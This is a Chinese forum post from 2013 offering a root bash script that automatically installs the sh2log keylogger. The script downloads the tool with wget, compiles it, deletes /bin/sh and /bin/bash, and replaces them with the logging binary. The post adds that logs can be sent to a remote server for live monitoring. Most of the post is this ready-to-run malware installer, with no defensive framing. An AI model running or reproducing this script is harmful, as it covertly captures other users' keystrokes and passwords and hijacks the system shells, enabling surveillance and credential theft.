自动安装sh2log键盘记录的脚本

2013-09-24 17:44:46 15 4768


关于sh2log参考 http://fuzzexp.org/linuxsh2log_keylogger.html
其实sh2log是可以设置成发送到远端的服务器,实时监控键盘记录。具体可以参考源码中readme:
#!/bin/bash
##
#from tools.net
#run the script as root
echo "installing sh2log "
dlurl='http://packetstorm.foofus.com/UNIX/loggers/sh2log-1.0.tgz'
echo "Fetching from"$dlurl
wget $dlurl
tar zxf sh2log-1.0.tgz
cd sh2log-1.0
DIS=`head /etc/issue -n 1|awk '{print $1}'`
if [ $DIS = "CentOS" ];then
yum install -y libX11-devel
elif [ $DIS = "Ubuntu" ] ; then
apt-get install libx11-dev
fi
make linux
mkdir /bin/shells/
cp -p /bin/sh /bin/shells/
cp -p /bin/bash /bin/shells/
rm -rf /bin/sh /bin/bash
cp -p sh2log /bin/sh
cp -p sh2log /bin/bash
./sh2logd
会自动安装缺失的依赖包。在ubuntu10.04测试通过。理论上centos 也是ok的其他的发行版没有测试。应为sh2log跟内核无关,应该通用性还比较好 。
自动化才是方向。

关于作者

litdgs6篇文章181篇回复

评论15次

要评论?请先  登录  或  注册